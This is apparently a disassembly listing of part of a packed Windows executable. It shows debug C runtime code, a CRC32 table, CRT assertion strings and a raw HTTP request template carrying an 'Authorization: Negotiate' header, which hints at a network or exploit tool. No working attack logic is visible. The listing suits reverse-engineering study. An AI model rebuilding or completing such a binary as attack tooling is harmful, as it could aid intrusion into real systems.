		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_439020
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435F60	proc near		; CODE XREF: sub_435350+48p
					; sub_435440+1Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		mov	ecx, 8
		mov	esi, offset dword_439028
		lea	edi, [ebp+var_20]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		call	dword_4F14BC	; RaiseException
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	8
sub_435F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_435FB0	proc near		; DATA XREF: .nsp0:004391F4o
		lea	ecx, [ebp-38h]
		jmp	sub_40CDDD
sub_435FB0	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_435FCE
		mov	ecx, [ebp+8]
		jmp	sub_40CDDD
; ---------------------------------------------------------------------------

locret_435FCE:				; CODE XREF: .nsp0:00435FC0j
		retn
; ---------------------------------------------------------------------------


loc_435FCF:				; DATA XREF: sub_40C972o
		mov	eax, offset dword_4391C8
		jmp	sub_41D100
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+14h]
		jmp	sub_40CDDD
; ---------------------------------------------------------------------------


loc_435FE1:				; DATA XREF: .nsp0:00439224o
		lea	ecx, [ebp-1Ch]
		jmp	sub_40CDDD
; ---------------------------------------------------------------------------


loc_435FE9:				; DATA XREF: sub_40CAE9o
		mov	eax, offset dword_4391F8
		jmp	sub_41D100
; ---------------------------------------------------------------------------
		align 4


loc_435FF4:				; DATA XREF: sub_40D21Ao
		mov	eax, offset dword_439228
		jmp	sub_41D100
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40CDDD
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_435350	proc near		; DATA XREF: sub_435350+5o
		mov	eax, offset dword_439300
		jmp	sub_41D100
SEH_435350	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_435DA0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4353B0	proc near		; DATA XREF: sub_4353B0+5o
		mov	eax, offset dword_439328
		jmp	sub_41D100
SEH_4353B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_435DA0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_435470	proc near		; DATA XREF: sub_435470+5o
		mov	eax, offset dword_439370
		jmp	sub_41D100
SEH_435470	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		call	sub_435DA0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_435530	proc near		; DATA XREF: sub_435530+5o
		mov	eax, offset dword_439398
		jmp	sub_41D100
SEH_435530	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40CDDD
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_435650	proc near		; DATA XREF: sub_435650+5o
		mov	eax, offset dword_439400
		jmp	sub_41D100
SEH_435650	endp

; ---------------------------------------------------------------------------
		align 4
		dd 3E2h	dup(0)
dword_43701C	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aRoom		db 'room',0             ; DATA XREF: sub_401CC1+2EC9o
					; sub_401CC1+2FA8o ...
		align 4
aRoom_0		db 'room',0             ; DATA XREF: sub_401CC1+32D8o
					; sub_401CC1+3318o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40CAE9+68o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dbl_437468	dq 1.388888888888889e-2	; DATA XREF: sub_40C926+2Fr
dbl_437470	dq 1.666666666666667e-1	; DATA XREF: sub_40C926+15r
dbl_437478	dq 1.333333333333333	; DATA XREF: sub_40C972+70r
dword_437480	dd 0FFFFFFFFh		; DATA XREF: sub_40CD90+13r
					; sub_40CE0Dr ...
dword_437484	dd 0			; DATA XREF: sub_40D0F4o
flt_437488	dd 5.0e-1		; DATA XREF: sub_40D46C+39Br
		align 10h
dbl_437490	dq 9.765625e-4		; DATA XREF: sub_414A1D+2BDr
					; sub_414A1D+2D8r ...
dbl_437498	dq -1.52587890625e-4	; DATA XREF: sub_4156B7+3E5r
dbl_4374A0	dq 3.0517578125e-4	; DATA XREF: sub_4156B7+3C5r
dbl_4374A8	dq -3.0517578125e-4	; DATA XREF: sub_4156B7+342r
					; sub_4156B7+3A7r
dbl_4374B0	dq 1.52587890625e-4	; DATA XREF: sub_4156B7+271r
dbl_4374B8	dq -1.739501953125e-3	; DATA XREF: sub_4156B7+24Br
					; sub_4156B7+2D5r ...
dbl_4374C0	dq 3.11279296875e-3	; DATA XREF: sub_4156B7+E1r
dbl_4374C8	dq 3.0517578125e-5	; DATA XREF: sub_4156B7+AEr
					; sub_4156B7+138r ...
dbl_4374D0	dq 6.103515625e-5	; DATA XREF: sub_4156B7+93r
					; sub_4156B7+308r
dbl_4374D8	dq 2.288818359375e-3	; DATA XREF: sub_4156B7+21r
dbl_4374E0	dq -3.0517578125e-5	; DATA XREF: sub_4165B5+2Br
flt_4374E8	dd 9.765625e-4		; DATA XREF: sub_418406+1AEr
flt_4374EC	dd 8.0			; DATA XREF: sub_418406+1A8r
flt_4374F0	dd 0.0			; DATA XREF: sub_418406+16Fr
flt_4374F4	dd 1.0e-3		; DATA XREF: sub_418406+166r
dword_4374F8	dd 6F6C6366h, 632E6573h, 0 ; DATA XREF:	sub_418D80+1Do
					; sub_418E10+25o
dword_437504	dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; DATA XREF: sub_418D80+14o
					; sub_41DCC0+Do ...
dword_437514	dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
					; DATA XREF: sub_418E10+1Co
					; sub_41BC90+45o ...
		dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree		db 'Free',0             ; DATA XREF: .nsp0:off_4510D0o
		align 4
aErrorMemoryAll	db 'Error: memory allocation: bad memory block type.',0Ah,0
					; DATA XREF: sub_418FC0:loc_41912Ao
					; sub_4193C0:loc_419540o
		align 4
aInvalidAllocat	db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_418FC0+11Bo
aS_25		db '%s',0               ; DATA XREF: sub_418FC0+BCo
					; sub_418FC0+16Fo ...
		align 10h
aClientHookAl_0	db 'Client hook allocation failure.',0Ah,0
					; DATA XREF: sub_418FC0:loc_419077o
		align 4
aClientHookAllo	db 'Client hook allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_418FC0+94o
		align 4
aDbgheap_c	db 'dbgheap.c',0        ; DATA XREF: sub_418FC0+31o
					; sub_4193C0+77o ...
		align 4
a_crtcheckmemor	db '_CrtCheckMemory()',0 ; DATA XREF: sub_418FC0+25o
					; sub_4193C0+6Bo ...
		align 4
a_pfirstblockPo	db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_4193C0+499o
		align 4
a_plastblockPol	db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_4193C0+445o
		align 4
aFreallocFreall	db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
					; DATA XREF: sub_4193C0:loc_4197A6o
		align 4
a_block_typePol	db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
					; DATA XREF: sub_4193C0+277o
		align 4
aPoldblockNline	db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
					; DATA XREF: sub_4193C0:loc_4195D1o
		db 'REQ',0
		align 4
a_crtisvalidhea	db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_4193C0+1B6o
					; sub_4199B0+A8o ...
		align 10h
aAllocationTooL	db 'Allocation too large or negative: %u bytes.',0Ah,0
					; DATA XREF: sub_4193C0+136o
		align 10h
aClientHookRe_0	db 'Client hook re-allocation failure.',0Ah,0
					; DATA XREF: sub_4193C0:loc_4194BFo
aClientHookReAl	db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_4193C0+DCo
a_pfirstblockPh	db '_pFirstBlock == pHead',0 ; DATA XREF: sub_4199B0+35Do
		align 4
a_plastblockPhe	db '_pLastBlock == pHead',0 ; DATA XREF: sub_4199B0+307o
		align 4
aPheadNblockuse	db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_4199B0+29Co
					; sub_419DC0+112o
		align 4
aPheadNlineIgno	db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
					; DATA XREF: sub_4199B0:loc_419BD4o
		align 4
aDamageAfterHsB	db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_4199B0+1E5o
					; sub_41A090+249o
		align 4
aDamageBeforeHs	db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_4199B0+17Fo
					; sub_41A090+1ECo
		align 4
a_block_type_is	db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_4199B0+10Ao
					; sub_419DC0+C1o ...
		align 4
aClientHookFree	db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_4199B0:loc_419A1Do
		align 4
aMemoryCheckErr	db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
					; DATA XREF: sub_41A000+54o
		align 4
aHsLocatedAt0x0	db '%hs located at 0x%08X is %u bytes long.',0Ah,0
					; DATA XREF: sub_41A090+31Eo
		align 10h
aHsAllocatedAtF	db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41A090+2EBo
aDamageOnTopOfF	db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
					; DATA XREF: sub_41A090+2A2o
		align 4
aDamaged	db 'DAMAGED',0          ; DATA XREF: sub_41A090:loc_41A248o
a_heapchkFail_3	db '_heapchk fails with unknown return value!',0Ah,0
					; DATA XREF: sub_41A090:loc_41A1A2o
		align 10h
a_heapchkFail_2	db '_heapchk fails with _HEAPBADPTR.',0Ah,0
					; DATA XREF: sub_41A090:loc_41A17Ao
		align 4
a_heapchkFail_1	db '_heapchk fails with _HEAPBADEND.',0Ah,0
					; DATA XREF: sub_41A090:loc_41A152o
		align 4
a_heapchkFail_0	db '_heapchk fails with _HEAPBADNODE.',0Ah,0
					; DATA XREF: sub_41A090:loc_41A12Ao
		align 4
a_heapchkFailsW	db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
					; DATA XREF: sub_41A090:loc_41A0FFo
aBadMemoryBlock	db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41A690+11Bo
		align 4
a_crtmemcheckpo	db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
					; DATA XREF: sub_41A690:loc_41A69Fo
a_crtmemdiffere	db '_CrtMemDifference: NULL state pointer.',0Ah,0
					; DATA XREF: .nsp0:loc_41A822o
aObjectDumpComp	db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_41A930:loc_41ABBCo
		align 4
aCrtBlockAt0x08	db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_41A930+250o
		align 10h
aNormalBlockAt0	db 'normal block at 0x%08X, %u bytes long.',0Ah,0
					; DATA XREF: sub_41A930+1F3o
aClientBlockAt0	db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_41A930+188o
aLd		db '{%ld} ',0           ; DATA XREF: sub_41A930+139o
		align 4
aHsD		db '%hs(%d) : ',0       ; DATA XREF: sub_41A930+111o
		align 10h
aFileErrorD	db '#File Error#(%d) : ',0 ; DATA XREF: sub_41A930+E0o
aDumpingObjects	db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_41A930:loc_41A94Ao
aDataSS		db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_41ABF0+ECo
a_2x		db '%.2X ',0            ; DATA XREF: sub_41ABF0+BFo
		align 10h
aDetectedMemory	db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_41AD10:loc_41AD44o
aTotalAllocatio	db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .nsp0:0041AE2Do
		align 4
aLargestNumberU	db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .nsp0:0041AE05o
		align 4
aLdBytesInLdHsB	db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .nsp0:0041ADDBo
		align 4
aMode_t0	db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41B070+95o
		align 10h
aModeNull	db 'mode != NULL',0     ; DATA XREF: sub_41B070+67o
					; sub_4225E0+4Fo
		align 10h
aFile_t0	db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41B070+3Do
		align 4
aFopen_c	db 'fopen.c',0          ; DATA XREF: sub_41B070+18o
					; sub_41B070+46o ...
aFileNull	db 'file != NULL',0     ; DATA XREF: sub_41B070+Fo
		align 4
aFormatNull	db 'format != NULL',0   ; DATA XREF: sub_41B740+45o
					; sub_41B910+45o ...
		align 4
aSprintf_c	db 'sprintf.c',0        ; DATA XREF: sub_41B740+24o
					; sub_41B740+4Eo ...
		align 4
aStringNull	db 'string != NULL',0   ; DATA XREF: sub_41B740+1Bo
					; sub_41B910+1Bo ...
		align 4
aFgets_c	db 'fgets.c',0          ; DATA XREF: sub_41BC90+24o
					; sub_41BC90+4Eo
aFprintf_c	db 'fprintf.c',0        ; DATA XREF: sub_41C1C0+1Eo
					; sub_41C1C0+48o
		align 4
aVsprintf_c	db 'vsprintf.c',0       ; DATA XREF: sub_41C6A0+1Eo
					; sub_41C6A0+48o
		align 4
aSscanf_c	db 'sscanf.c',0         ; DATA XREF: sub_41CC10+24o
					; sub_41CC10+4Eo
		align 8
dbl_437CF8	dq 1.0			; DATA XREF: sub_41CCD0+99r
					; sub_41CEF0+99r ...
dword_437D00	dd 64676264h, 632E6C65h, 7070h ; DATA XREF: sub_41D860+62o
dword_437D0C	dd 78656E6Fh, 632E7469h, 0 ; DATA XREF:	sub_41D930+2Eo
					; sub_41DA10+8o
dword_437D18	dd 65657366h, 632E6Bh	; DATA XREF: sub_41DCC0+16o
					; sub_41DD30+19o
dword_437D20	dd 7473626Dh, 7363776Fh, 632Eh ; DATA XREF: sub_41E7D0+32o
dword_437D2C	dd 3D212073h, 4C554E20h, 4Ch ; DATA XREF: sub_41E7D0+29o
dword_437D38	dd 0FFFFFFFFh, 41EAF2h,	41EB0Dh	; DATA XREF: .nsp0:0041E9C5o
dword_437D44	dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh
					; DATA XREF: sub_41EB90+31o
					; sub_41EB90+65o ...
		dd 64656C69h, 0
aError		db 'Error',0            ; DATA XREF: .nsp0:004513C8o
		align 4
aWarning	db 'Warning',0          ; DATA XREF: .nsp0:off_4513C4o
aSDS		db '%s(%d) : %s',0      ; DATA XREF: sub_41EED0+1FFo
asc_437D7C:				; DATA XREF: sub_41EED0:loc_41F0A6o
		dw 0Ah
		unicode	0, <>,0
asc_437D80:				; DATA XREF: sub_41EED0+1C2o
		dw 0Dh
		unicode	0, <>,0
aAssertionFai_0	db 'Assertion failed!',0 ; DATA XREF: sub_41EED0:loc_41F045o
		align 4
aAssertionFaile	db 'Assertion failed: ',0 ; DATA XREF: sub_41EED0+169o
		align 4
a_crtdbgreportS	db '_CrtDbgReport: String too long or IO Error',0
					; DATA XREF: sub_41EED0+149o
					; sub_41EED0+21Co ...
		align 4
aSecondChanceAs	db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
					; DATA XREF: sub_41EED0+E6o
		align 4
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: sub_41EED0+B6o
		align 4
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: sub_41EED0+9Co
					; sub_42B680+16o
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41F260+2C2o
		align 4
aDebugSProgramS	db 'Debug %s!',0Ah      ; DATA XREF: sub_41F260+28Co
		db 0Ah
		db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
		db 0Ah
		db '(Press Retry to debug the application)',0
		align 4
aModule		db 0Ah			; DATA XREF: sub_41F260+221o
		db 'Module: ',0
		align 4
aFile		db 0Ah			; DATA XREF: sub_41F260+1E1o
		db 'File: ',0
aLine		db 0Ah			; DATA XREF: sub_41F260+1AAo
		db 'Line: ',0
asc_437EB8	db 0Ah			; DATA XREF: sub_41F260+173o
					; sub_42AB10+171o
		db 0Ah,0
		align 4
aExpression	db 'Expression: ',0     ; DATA XREF: sub_41F260+153o
		align 4
dword_437ECC	dd 0			; DATA XREF: sub_41F260:loc_41F37Ao
					; sub_41F260:loc_41F399o ...
aForInformation	db 0Ah			; DATA XREF: sub_41F260+10Eo
		db 0Ah
		db 'For information on how your program can cause an assertion',0Ah
		db 'failure, see the Visual C++ documentation on asserts.',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F260+9Co
					; sub_41F260+F4o ...
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F260+56o
					; sub_42AB10+EDo
		align 10h
aDbgrpt_c	db 'dbgrpt.c',0         ; DATA XREF: sub_41F260+1Fo
		align 4
aSzusermessageN	db 'szUserMessage != NULL',0 ; DATA XREF: sub_41F260+13o
		align 4
a_freebuf_c	db '_freebuf.c',0       ; DATA XREF: sub_41F6A0+15o
		align 10h
aMlock_c	db 'mlock.c',0          ; DATA XREF: sub_41FB40+16o
a_filbuf_c	db '_filbuf.c',0        ; DATA XREF: sub_421F10+18o
		align 4
a_open_c	db '_open.c',0          ; DATA XREF: sub_4225E0+2Eo
					; sub_4225E0+58o ...
aFilenameNull	db 'filename != NULL',0 ; DATA XREF: sub_4225E0+25o
		align 10h
aStream_c	db 'stream.c',0         ; DATA XREF: sub_422970+C1o
		align 4
aInconsistentIo	db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
					; DATA XREF: sub_422AF0+162o
		align 4
a_flsbuf_c	db '_flsbuf.c',0        ; DATA XREF: sub_422AF0+18o
					; sub_422AF0+16Eo
		align 4
byte_438018	db 6			; DATA XREF: sub_422D70+8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .nsp0:off_4516B8o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .nsp0:off_4516B4o
		align 4
aOutput_c	db 'output.c',0         ; DATA XREF: sub_422D70+122o
		align 4
aCh_t0		db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_422D70+116o
		align 4
aTidtable_c	db 'tidtable.c',0       ; DATA XREF: sub_423C10+23o
					; sub_423CF0+29o
		align 4
a_sftbuf_c	db '_sftbuf.c',0        ; DATA XREF: sub_424AA0+18o
					; sub_424AA0+B2o ...
		align 10h
aFlag0Flag1	db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_424C00+13o
		align 4
aInput_c	db 'input.c',0          ; DATA XREF: sub_424CA0+1Eo
					; sub_424CA0+4Bo
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .nsp0:off_451934o
		align 8
dbl_438198	dq 0.0			; DATA XREF: sub_4268F0+D7r
					; sub_4268F0+11Ar ...
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_427240+1Ao
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_427240+6o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_427520:loc_427598o
		align 10h
dword_4381D0	dd 0FFFFFFFFh, 427FC9h,	427FD6h, 0 ; DATA XREF:	sub_427F30+5o
dword_4381E0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_428120+5o
		dd offset sub_4281FD
		align 10h
		dd offset loc_4281BE
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 81h,	42h, 0
dword_4381F8	dd 0FFFFFFFFh, 42851Ch,	428522h, 0 ; DATA XREF:	sub_4282C0+5o
dword_438208	dd 0FFFFFFFFh, 42859Eh,	4285ADh, 0 ; DATA XREF:	sub_428540+5o
dword_438218	dd 0FFFFFFFFh, 0	; DATA XREF: sub_428670+5o
		dd offset sub_4286DE
		align 8
		dd offset loc_4286C0
		dd offset loc_4286C6
dword_438230	dd 0FFFFFFFFh, 0	; DATA XREF: sub_428720+5o
		dd offset sub_42878A
		align 10h
		dd offset loc_42876C
		dd offset loc_428772
aLc_time	db 'LC_TIME',0          ; DATA XREF: .nsp0:00451BBCo
aLc_numeric	db 'LC_NUMERIC',0       ; DATA XREF: .nsp0:00451BB0o
		align 4
aLc_monetary	db 'LC_MONETARY',0      ; DATA XREF: .nsp0:00451BA4o
aLc_ctype	db 'LC_CTYPE',0         ; DATA XREF: .nsp0:00451B98o
		align 4
aLc_collate	db 'LC_COLLATE',0       ; DATA XREF: .nsp0:00451B8Co
		align 10h
aLc_all		db 'LC_ALL',0           ; DATA XREF: .nsp0:off_451B80o
		align 4
asc_438288:				; DATA XREF: .nsp0:loc_428A53o
					; sub_428E30+83o
		unicode	0, <;>,0
asc_43828C	db '=;',0               ; DATA XREF: .nsp0:loc_428981o
		align 10h
aSetlocal_c	db 'setlocal.c',0       ; DATA XREF: sub_428C90+3Eo
					; sub_428E30+1Bo
		align 4
asc_43829C:				; DATA XREF: sub_428E30+5Bo
		unicode	0, <=>,0
a___0		db '_.,',0              ; DATA XREF: sub_429120:loc_429192o
a__3:					; DATA XREF: sub_429280+50o
					; sub_42F1E0:loc_42F3DBo
		unicode	0, <.>,0
a__4:					; DATA XREF: sub_429280+25o
		unicode	0, <_>,0
aFtell_c	db 'ftell.c',0          ; DATA XREF: .nsp0:00429456o
					; sub_4294B0+18o
dword_4382B4	dd 0			; DATA XREF: sub_429750+5Do
					; sub_42C100+58o ...
dword_4382B8	dd 2 dup(0)		; DATA XREF: sub_429750+35o
					; sub_42C100+35o ...
dword_4382C0	dd 0FFFFFFFFh, 429896h,	42989Ch, 0FFFFFFFFh, 42998Ch, 429992h
					; DATA XREF: sub_429750+5o
dword_4382D8	dd 65647473h, 2E70766Eh, 63h ; DATA XREF: sub_429D90+5Bo
					; sub_429D90+D0o
